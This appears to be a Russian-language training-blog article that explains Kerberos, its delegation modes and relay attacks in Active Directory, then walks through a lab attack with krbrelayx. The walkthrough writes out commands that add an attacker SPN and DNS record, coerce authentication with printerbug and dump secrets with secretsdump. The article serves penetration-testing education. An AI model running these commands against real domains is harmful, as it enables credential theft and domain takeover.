Заключительная статья нашего мини цикла. В этой статье мы поговорим о возможности атаки повтора на протокол Kerberos в Windows Active Directory. Рассмотрим примеры использования протокола и исследуем возможности инструментов. Первую часть можно прочитать здесь, а вторую тут.

Kerberos

Изначально протокол для аутентификации, который был создан в отрыве от операционной системы Windows. Протокол разрабатывался для того, чтобы клиент и сервер могли идентифицировать друг друга. Существование этого протокола позволяет взаимодействовать клиенту и серверу в незащищенном канале передачи данных. То есть, если попытаться модифицировать данные, которые использовались клиентом или сервером в рамках аутентификации, то такое воздействие будет выявлено. Успешное взаимодействие в рамках протокола дает пользователю специальный идентификатор, который может быть использован для доступа к сервису и называется ticket.

Компания Microsoft для своей операционной системы протокол доработала, чтобы можно было использовать, в частности, в механизмах Active Directory. Примерная схема работы протокола представлена на рисунке ниже:

Картинка взята отсюда.

Из особенностей протокола можно выделить основную — протокол использует только специальные имена для идентификации сервера и клиента. Эти имена имеют свою структуру, называются они Service Principal Name и User Principal Name. Без них Kerberos работать не может, обычно это те доменные имена, которые назначаются машинам, где работает сервис или пользователь.

Протокол пережил несколько версий, на момент написания этой статьи версия протокола 5. Протокол подразумевает, что во взаимодействии участвует как минимум 3 участника:

• Клиент;

• Сервер;

• Key Distribution Center.

Физически это может быть всего 2 машины, которые существуют в рамках сети. В качестве KDC фактически может выступать сервис, который будет работать прямо на сервере совместно с приложением, а может быть использован отдельный сревер. И клиент, который хочет получить доступ к машине или к сервису.

Все действия протокола в Windows AD вращаются вокруг двух типов запросов:

• KRB_AS_REQ — сообщение клиента для KDC на получение специального права на доступ — TGT(ticket-granting-ticket): здесь пользователь предоставляет информацю о себе. Это обязательно информация о его UPN и опциональная информация о его привелегиях в рамках Windows AD.

• KRB_TGS_REG — сообщение сервиса по сути это тоже самое, что и KRB_AS_REQ, только в этом случае вместо UPN проставляется SPN. То есть в Windows AD в качестве пользователя для взаимодействия может быть использован сервис. В сообщении также можно проставить информацию о привелегиях пользователя.

На каждое сообщение, которое было описано, также существует ответ KDC. На этом моменте стоит подчеркнуть, что протокол Kerberos — в первую очередь, протокол аутентификации и он не обязан проводить процедуру авторизации. За этот последний этап контроля разграничения доступа должен отвечать адресат, который дает доступ к своим функциям с задействованием протокола Kerberos.

На этом можно бы было сказать, что со знакомством с этим протоколом можно и закончить, но все на самом деле сложнее, чем может показаться на первый взгляд. Так как Microsoft сделала просто дополнение для протокола и может добавлять в него еще расширения, то все сообщения и действия с ними могут быть вложены друг в друга, могут быть реализованы перекрестные запросы доступа от сервиса к себе самому, к пользовательским машинам в сети, может быть использован механизм делегации возможностей запроса доступа.

Поэтому атаки на этот протокол это всегда сложные логические взаимосвязи объектов внутри инфраструктуры и без знания их функционала и особенностей работы.

Долгое время все атаки на Kerberos вращались вокруг особенностей механизма так называемой преаутентификации. То есть можно было запросить данные из инфраструктуры по SPN сервиса и попробовать атакой bruteforce подобрать пароль от учетной записи. Атаки такого типа получили название Kerberoasting. Так было до исследования Google Zero Project. В этом исследовании рассматривались подходы, которые касаются атак повтора данных. Были изложены основные условия для успешной атаки повтора и теоритически изложены основные механизмы, через которые можно бы было имплементировать инструментарий для реализации атак. Прошел год и теперь мы можем поискать, что же из этого получилось.

Kerberos атаки повтора

Быстрый поиск по репозиториям приводит к 2м параллельно развивающимся инструментам:

• KrbRelay от cube0x0;

• krbrelayx от dirkjanm.

Оба инструмента опираются на принципы, которые были описаны в исследовании Google Zero Project, но используют свой подход к проведению атак.

krbrelayx

Инструмент, который может быть использован для атак на системы, где используется функция Kerberos внутри AD Windows — `unconstrained delegation`.

Вообще в протоколе Kerberos существует 3 типа делегирования:

• `Unconstrained delegation` — любой сервис может быть использован для доступа к любому сервису или пользователю от имени сервиса.

• `Constrained delegation` — сервис может получить доступ к ограниченному списку сервисов и/или пользователей, появлися в Windows Server 2003.

• `Resource-based constrained delegation (RBCD)` — ограничение устанавливается не со стороны учетных записей, но со стороны самих ресурсов. Тоесть список разрешенных учеток будет указываться самим ресурсом.

Иными словами, если в сети не найдется аккаунт, который имеет включенную опцию `unconstrained delegation`, то использование этого инструмента без знания пароля от учетной записи машины — невозможно.

Проводить атаку повтора этим инструментом можно только если есть возможность подмены DNS сервера в сети или если атакующий смог раздобыть ключ шифрования, который используется для подписания каждого сообщения в рамказ работы с протоколом Kerberos.

Попробуем воспользоваться инструментом на практике. Для развертывания стенда будем использовать Vbox виртуальную среду и несколько виртуальных машин:

• Windows Server 2019 — контроллер домена с включенной опцией участник домена с включенной `unconstrained delegation`

• Kali Linux — атакующий, не находится в домене.

 Из инструментов для атаки нам понадобится — krbrelayx.

Предварительная настройка:

1. Необходимо создать учетную запись на Windows Server.

2. Добавить spn для учетной записи: setspn -U -A servicetype/computerName:port/serviceNAme accountName.

3. После этого нужно проставить параметр в Свойствах учетной записи на делегацию через Kerberos для любого сервиса. Это можно сделать на вкладке Delegation.

4. Разрешить модификацию SPN. Это сделать можно в разделе Properties для характеристик объекта пользователя. Выполняется проще всего через adsiedit.msc.

Теперь перейдем к самой атаке. Производится за несколько этапов. Первый этап — создание для атакующего собственного spn. Это выполнить можно с помощью команды:

python3 ./addspn.py lab.local\testUser -p Qwerty123 -s testService/testComp:7676/test -s attacker.lab.local ldap://192.168.56.6

Используя логин и пароль захваченной учетной записи команда должна создать SPN, следующим шагом этот SPN нужно зарегестрировать на DNS:

python3 ./dnstool.py -u 'LAB.LOCAL\testUser' -p Qwerty123 -r attacker.lab.local -a add -d 192.168.56.4

По прошествии периода синхронизации DNS в инфраструктуре (порядка 3 минут), можно будет проводить последующие этапы.

Следующую команду нужно запустить в фоне, чтобы инструмент krbrelayx мог собрать данные для дальнейшего дампа данных из уязвимой системы:

sudo python3 krbrelayx.py -aesKey ключСЗахваченноймашины

Последний этап для проведения атаки повтора — это получение данных, которые можно использовать для повтора. Основной механизм, который рассматривается в контексте использования этого инструмента — это уязвимость printerbug, которая заставляет уязвимую машину начинать взаимодействие с системой. Пример использования этой уязвимости:

python3 printerbug.py -hashes хэшОтУчеткиМашины:cUnconstrainedПользователем lab.local/TestHost\$@lab.local attacker.lab.local

После того, как успешно отработает printerBug, в терминал с krbrelayx прилетит информация с TGT от оргинального запроса, и можно будет его использовать для выполнения команды по дампу информации из системы. Например, с помощью secretsdump набора скриптов Impacket.

Таким образом можно проводить атаки повтора на протокол Kerberos. Второй инструмент — KrbRelay — будем рассматривать на курсе «Пентест. Практика тестирования на проникновение».

Статья написана Александром Колесниковым.

Уже сегодня вечером состоится интенсив «Инструменты для взаимодействия с инфраструктурой Windows AD». На занятии рассмотрим, как работают инструменты Bloodhound и Rubeus, а также протестируем известные мисконфигурации. Для развертывания стенда будут предоставлены скрипты на первом занятии. Регистрация доступна по ссылке.